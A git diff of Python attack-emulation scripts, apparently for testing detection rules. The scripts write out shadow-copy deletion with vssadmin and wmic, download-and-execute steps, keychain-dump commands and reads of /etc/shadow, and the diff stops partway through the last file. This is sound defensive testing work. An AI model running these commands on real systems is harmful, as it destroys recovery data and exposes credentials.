b/rta/html_help_file_written_exec.py new file mode 100644 index 000000000..3e14d94af --- /dev/null +++ b/rta/html_help_file_written_exec.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9bbf9aea-33fc-45fc-be55-4cafc744da80", + platforms=["windows"], + endpoint=[ + {"rule_name": "File Execution via Microsoft HTML Help", "rule_id": "9c3b13f6-bc26-4397-9721-4ba23ddd1014"} + ], + siem=[], + techniques=["T1218", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + hh = "C:\\Users\\Public\\hh.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, hh) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake hh to drop and execute an .exe") + common.execute([hh, "/c", cmd], timeout=10) + common.execute([hh, "/c", dropped], timeout=10, kill=True) + common.remove_file(hh) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery.py b/rta/inhibit_system_recovery.py new file mode 100644 index 000000000..4429fbd15 --- /dev/null +++ b/rta/inhibit_system_recovery.py @@ -0,0 +1,69 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b11e12a4-271c-427f-b215-12a7a25cb3be", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Obfuscated Commands", + "rule_id": "99358f31-a84a-4f92-bb91-4370083acda0", + } + ], + siem=[], + techniques=["T1490", "T1047", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Deleting volume shadow copies...") + + common.execute( + [ + "powershell.exe", + "Invoke-Expression", + "-Command", + "'vssadmin.exe", + "delete", + "shadows", + "/for=c:", + "/oldest", + "/quiet'", + ] + ) + + # Create a volume shadow copy so that there is at least one to delete + common.execute( + [ + "powershell.exe", + "Invoke-Expression", + "-Command", + "'wmic.exe", + "shadowcopy", + "call", + "create", + "volume=c:\\'", + ] + ) + common.execute( + [ + "powershell.exe", + "Invoke-Expression", + "-Command", + "'wmic.exe", + "shadowcopy", + "delete", + "/nointeractive'", + ] + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_and_rename.py b/rta/inhibit_system_recovery_and_rename.py new file mode 100644 index 000000000..079fe2e47 --- /dev/null +++ b/rta/inhibit_system_recovery_and_rename.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="43331e29-57ba-438f-8d61-99f5d6471aaa", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery Followed by a Suspicious File Rename", + "rule_id": "92f114fb-7113-4e82-b021-6c2c4ca0a507", + } + ], + siem=[], + techniques=["T1490", "T1486"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + png = "C:\\Windows\\System32\\SecurityAndMaintenance.png" + tmppng = "C:\\Users\\Public\\SecurityAndMaintenance.png" + renamed = "C:\\Users\\Public\\renamed.encrypted" + common.copy_file(png, tmppng) + + # Execute command + common.log("Deleting Shadow Copies using Vssadmin spawned by cmd") + common.execute([powershell, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + + common.log("Renaming image to unknown extension") + common.execute([powershell, "/c", f"Rename-Item {tmppng} {renamed}"], timeout=10) + + common.remove_file(renamed) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_cmd.py b/rta/inhibit_system_recovery_cmd.py new file mode 100644 index 000000000..afa0fbfa3 --- /dev/null +++ b/rta/inhibit_system_recovery_cmd.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d64b9c0c-d4be-4af2-b820-233493fb7d75", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Windows Command Shell", + "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72133", + } + ], + siem=[], + techniques=["T1490", "T1047", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + cmd = "C:\\Windows\\System32\\cmd.exe" + + # Execute command + common.log("Deleting Shadow Copies using Vssadmin spawned by cmd") + common.execute([cmd, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_lolbas_child.py b/rta/inhibit_system_recovery_lolbas_child.py new file mode 100644 index 000000000..db5cd173c --- /dev/null +++ b/rta/inhibit_system_recovery_lolbas_child.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="08c90b80-538e-42ab-8986-342237f9740f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + { + "rule_name": "Inhibit System Recovery via Untrusted Parent Process", + "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72132", + }, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Inhibit System Recovery via Signed Binary Proxy", + "rule_id": "740ad26d-3e67-47e1-aff1-adb47a697375", + }, + ], + siem=[], + techniques=["T1218", "T1036", "T1216", "T1220", "T1490", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + cscript = "C:\\Users\\Public\\cscript.exe" + common.copy_file(EXE_FILE, cscript) + + # Execute command + common.log("Deleting Shadow Copies using Vssadmin spawned by cscript") + common.execute([cscript, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + common.remove_file(cscript) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_office.py b/rta/inhibit_system_recovery_office.py new file mode 100644 index 000000000..e46fbe2db --- /dev/null +++ b/rta/inhibit_system_recovery_office.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="aa05a870-7075-42f9-a009-49aa75ea99fa", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Untrusted Parent Process", + "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72132", + }, + { + "rule_name": "Inhibit System Recovery via Microsoft Office Process", + "rule_id": "58a08390-e69d-4b32-9487-1d1ddb16ba09", + }, + ], + siem=[], + techniques=["T1490", "T1047", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.log("Deleting shadow copies using vssadmin") + common.execute( + [binary, "/c", "vssadmin.exe", "delete", "shadows", "/all", "/quiet"], + timeout=5, + kill=True, + ) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_renamed.py b/rta/inhibit_system_recovery_renamed.py new file mode 100644 index 000000000..1d1b9aa60 --- /dev/null +++ b/rta/inhibit_system_recovery_renamed.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5fe84989-d544-4a7b-9fbf-0e30d86c09ce", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Renamed Utilities", + "rule_id": "153f52e2-2fe5-420b-8691-ddb8562b99d7", + } + ], + siem=[], + techniques=["T1490", "T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + ren_vssadmin = "C:\\Users\\Public\\renvssadmin.exe" + + common.copy_file(vssadmin, ren_vssadmin) + # Execute command + common.log("Deleting Shadow Copies using a renamed Vssadmin") + common.execute([ren_vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + common.remove_file(ren_vssadmin) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/installutil_network.py b/rta/installutil_network.py index 717c1d036..b964a166c 100644 --- a/rta/installutil_network.py +++ b/rta/installutil_network.py @@ -14,18 +14,43 @@ import os import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6dfa88c9-9fb2-4fb0-8bea-0bc45222b498", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "a13167f1-eec2-4015-9631-1fee60406dcf", + "rule_name": "InstallUtil Process Making Network Connections", + }, + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + }, + ], + techniques=["T1127", "T1218"], +) + MY_DOT_NET = common.get_path("bin", "mydotnet.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_DOT_NET) def main(): server, ip, port = common.serve_web() common.clear_web_cache() target_app = "mydotnet.exe" - common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app) + common.patch_file( + MY_DOT_NET, + common.wchar(":8000"), + common.wchar(":%d" % port), + target_file=target_app, + ) install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe" install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" @@ -41,13 +66,19 @@ def main(): if not fallback: common.clear_web_cache() - common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app]) + common.execute([install_util, "/logfile=", "/LogToConsole=False", "/U", target_app]) else: common.log("Unable to find InstallUtil, creating temp file") install_util = os.path.abspath("InstallUtil.exe") common.copy_file(sys.executable, install_util) - common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)]) + common.execute( + [ + install_util, + "-c", + "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port), + ] + ) common.remove_file(install_util) common.remove_file(target_app) diff --git a/rta/ip_discovery_unsigned.py b/rta/ip_discovery_unsigned.py new file mode 100644 index 000000000..5f5047eb0 --- /dev/null +++ b/rta/ip_discovery_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5e1ca4f9-16cc-4dd3-bfba-4bd5c7579f4a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "External IP Address Discovery via Untrusted Program", + "rule_id": "dfe28e03-9b0b-47f5-9753-65ed2666663f", + } + ], + siem=[], + techniques=["T1016"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Retrieving the public IP Address using ipify") + common.execute([posh, "/c", "iwr", "http://api.ipify.org/", "-UseBasicParsing"], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/iqy_file_writes.py b/rta/iqy_file_writes.py index d08ab9a03..cb279b6e9 100644 --- a/rta/iqy_file_writes.py +++ b/rta/iqy_file_writes.py @@ -11,9 +11,13 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="71f67037-1df3-4d5f-b8cb-eaf295ad16ed", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Suspicious File Writes (IQY, PUB)") adobe_path = os.path.abspath("AcroRd32.exe") diff --git a/rta/javascript_payload.py b/rta/javascript_payload.py new file mode 100644 index 000000000..22f38832e --- /dev/null +++ b/rta/javascript_payload.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +from time import sleep + + +metadata = RtaMetadata( + uuid="9332cece-38b7-49e1-9f8d-e879913ffdfb", + platforms=["macos"], + endpoint=[ + {"rule_name": "Download and Execution of JavaScript Payload", "rule_id": "871f0c30-a7c5-40a5-80e3-a50c6714632f"} + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + # Setup web server + common.serve_web() + + common.log("Executing commands to download and execute JavaScript payload") + common.execute(["curl", "http://127.0.0.1:8000/payload.js"], shell=True) + sleep(1) + common.execute(["osascript", "-l", "JavaScript", "&"], shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/kcc_kerberos_dump.py b/rta/kcc_kerberos_dump.py new file mode 100644 index 000000000..835aea334 --- /dev/null +++ b/rta/kcc_kerberos_dump.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2f17286a-e4a8-41de-b3fa-595a4be6fb19", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Access to Kerberos Cached Credentials", + "rule_id": "dc8fa849-efb4-45d1-be1a-9472325ff746", + } + ], + siem=[{"rule_name": "Kerberos Cached Credentials Dumping", "rule_id": "ad88231f-e2ab-491c-8fc6-64746da26cfe"}], + techniques=["T1558", "T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/kcc" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake kcc command to load Kerberos tickets") + common.execute([masquerade, "copy_cred_cache"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/kerberos_netconn_file_creation.py b/rta/kerberos_netconn_file_creation.py new file mode 100644 index 000000000..01f5bd716 --- /dev/null +++ b/rta/kerberos_netconn_file_creation.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f8ffc63a-4a54-44a8-ac55-9c63e1bb584c", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Credential Files Creation via Kerberos", + "rule_id": "ced93ac0-f153-402f-9239-17ae32f304e2", + } + ], + siem=[], + techniques=["T1558", "T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + cmd1 = "Test-NetConnection -ComputerName portquiz.net -Port 445" + cmd2 = "echo 'aaa' > a.kirbi; rm a.kirbi" + # Execute command + common.log("Connecting to port 88 and creating a empty .kirbi file") + common.execute([powershell, "/c", cmd1, ";", cmd2], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/kernelext_agent_unload.py b/rta/kernelext_agent_unload.py new file mode 100644 index 000000000..a0f80d027 --- /dev/null +++ b/rta/kernelext_agent_unload.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="61f308d8-40c5-4c46-9181-e993cf07e92b", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", + "rule_id": "a412fd9b-2a06-49ff-a073-8eb313c2d930", + } + ], + siem=[ + { + "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", + "rule_id": "70fa1af4-27fd-4f26-bd03-50b6af6b9e24", + } + ], + techniques=["T1547", "T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/kextunload" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake kernel ext commands to unload elastic agent") + common.execute([masquerade, "EndpointSecurity.kext"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/keychain_cred_access.py b/rta/keychain_cred_access.py new file mode 100644 index 000000000..eabfde995 --- /dev/null +++ b/rta/keychain_cred_access.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="603d77bf-cdfc-44dd-94d3-5b4016caef94", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Access to Keychain Credentials Files", + "rule_id": "150f20b4-6b21-460b-8ae4-339695c1c86c", + } + ], + siem=[ + {"rule_name": "Access to Keychain Credentials Directories", "rule_id": "96e90768-c3b7-4df6-b5d9-6237f8bc36a8"} + ], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to access keychain creds") + common.execute([masquerade, f"{Path.home()}/Library/Keychains/test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/keychain_dump.py b/rta/keychain_dump.py new file mode 100644 index 000000000..e13aafc62 --- /dev/null +++ b/rta/keychain_dump.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f158a6dc-1974-4b98-a3e7-466f6f1afe01", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Dumping of Keychain Content via Security Command", + "rule_id": "565d6ca5-75ba-4c82-9b13-add25353471c", + } + ], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to dump keychain credentials") + common.execute([masquerade, "dump-keychain", "-d"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/keychain_pwd_cmdline.py b/rta/keychain_pwd_cmdline.py new file mode 100644 index 000000000..70e9457e1 --- /dev/null +++ b/rta/keychain_pwd_cmdline.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f964558b-0674-4c97-afcc-42d4b6a813c6", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Web Browsers Password Access via Command Line", + "rule_id": "77d71ede-3025-4c71-bb99-ada7c344bf89", + } + ], + siem=[ + {"rule_name": "Keychain Password Retrieval via Command Line", "rule_id": "9092cd6c-650f-4fa3-8a8a-28256c7489c9"} + ], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/security" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to collect credentials") + common.execute([masquerade, "-wa", "find-generic-password", "Chrome"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/lateral_command_psexec.py b/rta/lateral_command_psexec.py index 11bf562fb..3a7e5cb60 100755 --- a/rta/lateral_command_psexec.py +++ b/rta/lateral_command_psexec.py @@ -11,9 +11,19 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="90cf6001-11a7-410b-b259-cf20a029b929", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "55d551c6-333b-4665-ab7e-5d14a59715ce", "rule_name": "PsExec Network Connection"}], + techniques=["T1569"], +) + + +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC) def main(remote_host=None): remote_host = remote_host or common.get_ip() diff --git a/rta/lateral_commands.py b/rta/lateral_commands.py index 69c054f3e..ce81874bd 100644 --- a/rta/lateral_commands.py +++ b/rta/lateral_commands.py @@ -16,11 +16,22 @@ import re import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="389392dc-61db-4e45-846f-099f7d289c1b", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc", "rule_name": "Service Command Lateral Movement"}], + techniques=["T1569", "T1021", "T1543"], +) + MY_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(remote_host=None): remote_host = remote_host or common.get_ip() @@ -69,10 +80,8 @@ def main(remote_host=None): schtask_commands = [ r"schtasks /s {host} /delete /tn {name} /f", r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f", - r"schtasks /s {host} /run /tn {name}", r"schtasks /s {host} /delete /tn {name} /f", - ] for command in schtask_commands: diff --git a/rta/launchagent_plist.py b/rta/launchagent_plist.py new file mode 100644 index 000000000..99e3a62c4 --- /dev/null +++ b/rta/launchagent_plist.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7548a786-50f7-40e5-8f8a-b005e9e8d864", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Launch Agent Creation or Modification and Immediate Loading", + "rule_id": "082e3f8c-6f80-485c-91eb-5b112cb79b28", + } + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/launchctl" + common.create_macos_masquerade(masquerade) + + plist = f"{Path.home()}/Library/LaunchAgents/test.plist" + common.temporary_file_helper("testing", file_name=plist) + + # Execute command + common.log("Launching fake launchctl command to mimic plist loading") + common.execute([masquerade, "load"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/launchdaemon_persistence.py b/rta/launchdaemon_persistence.py new file mode 100644 index 000000000..fde4f3c53 --- /dev/null +++ b/rta/launchdaemon_persistence.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="762adc57-58c2-413d-a98d-258a223c07da", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "LaunchDaemon Creation or Modification and Immediate Loading", + "rule_id": "9d19ece6-c20e-481a-90c5-ccca596537de", + } + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/launchctl" + common.create_macos_masquerade(masquerade) + + payload_file = "/Library/LaunchDaemons/test.payload" + common.temporary_file_helper("testing", file_name=payload_file) + + # Execute command + common.log("Launching fake launchctl command to mimic LaunchDaemons payload persistence") + common.execute([masquerade, "load"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ldapsearch_group_enumeration.py b/rta/ldapsearch_group_enumeration.py new file mode 100644 index 000000000..7b2da0f89 --- /dev/null +++ b/rta/ldapsearch_group_enumeration.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="370c3432-65f5-4068-b879-916bc1297c60", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Enumeration of Users or Groups via Built-in Commands", + "rule_id": "6e9b351e-a531-4bdc-b73e-7034d6eed7ff", + } + ], + techniques=["T1069", "T1087"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/ldapsearch" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake ldapsearch commands to mimic user or group enumeration") + common.execute([masquerade, "testing"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/linux_compress_sensitive_files.py b/rta/linux_compress_sensitive_files.py index 7b2104818..aa730c39e 100644 --- a/rta/linux_compress_sensitive_files.py +++ b/rta/linux_compress_sensitive_files.py @@ -8,18 +8,28 @@ # Description: Uses built-in commands for *nix operating systems to compress known sensitive # files, such as etc/shadow and etc/passwd from . import common +from . import RtaMetadata -@common.requires_os(common.LINUX) +metadata = RtaMetadata( + uuid="f3ffa89b-de47-4e17-ac8e-385e0e7f8253", + platforms=["linux"], + endpoint=[], + siem=[{"rule_id": "6b84d470-9036-4cc0-a27c-6d90bbfe81ab", "rule_name": "Sensitive Files Compression"}], + techniques=["T1560", "T1552"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Compressing sensitive files") - files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz'] + files = ["totally-legit.tar", "official-business.zip", "expense-reports.gz"] # we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo commands = [ - ['tar', '-cvf', files[0], '/etc/shadow'], - ['zip', files[1], '/etc/passwd'], - ['gzip', '/etc/group', files[2]] + ["tar", "-cvf", files[0], "/etc/shadow"], + ["zip", files[1], "/etc/passwd"], + ["gzip", "/etc/group", files[2]], ] for command in commands: try: @@ -30,5 +40,5 @@ def main(): common.log(str(exc)) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/rta/linux_discovery_sensitive_files.py b/rta/linux_discovery_sensitive_files.py index b8561a5f5..6fa99840e 100644 --- a/rta/linux_discovery_sensitive_files.py +++ b/rta/linux_discovery_sensitive_files.py @@ -8,20 +8,27 @@ # Description: Uses built-in commands for *nix operating systems to read known sensitive # files, such as etc/shadow and etc/passwd from . import common +from . import RtaMetadata -@common.requires_os(common.LINUX) +metadata = RtaMetadata(uuid="82358d3d-6f04-42d0-a182-db37cf98294e", platforms=["linux"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Reading sensitive files", log_type="~") # Launch an interactive shell with redirected stdin, to simulate interactive shell access - common.execute('/bin/sh', stdin=""" + common.execute( + "/bin/sh", + stdin=""" cat /etc/sudoers cat /etc/group cat /etc/passwd cat /etc/shadow - """) + """, + ) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/rta/login_hook.py b/rta/login_hook.py new file mode 100644 index 000000000..3a1447533 --- /dev/null +++ b/rta/login_hook.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="26339b1f-05ba-4fd8-94c2-8ee1613e4590", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Persistence via Login or Logout Hook", "rule_id": "5d0265bf-dea9-41a9-92ad-48a8dcd05080"}], + techniques=["T1037"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/defaults" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake defaults command to mimic installing a login hook.") + common.execute([masquerade, "write", "LoginHook"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/login_window_plist.py b/rta/login_window_plist.py new file mode 100644 index 000000000..b92846bb1 --- /dev/null +++ b/rta/login_window_plist.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch 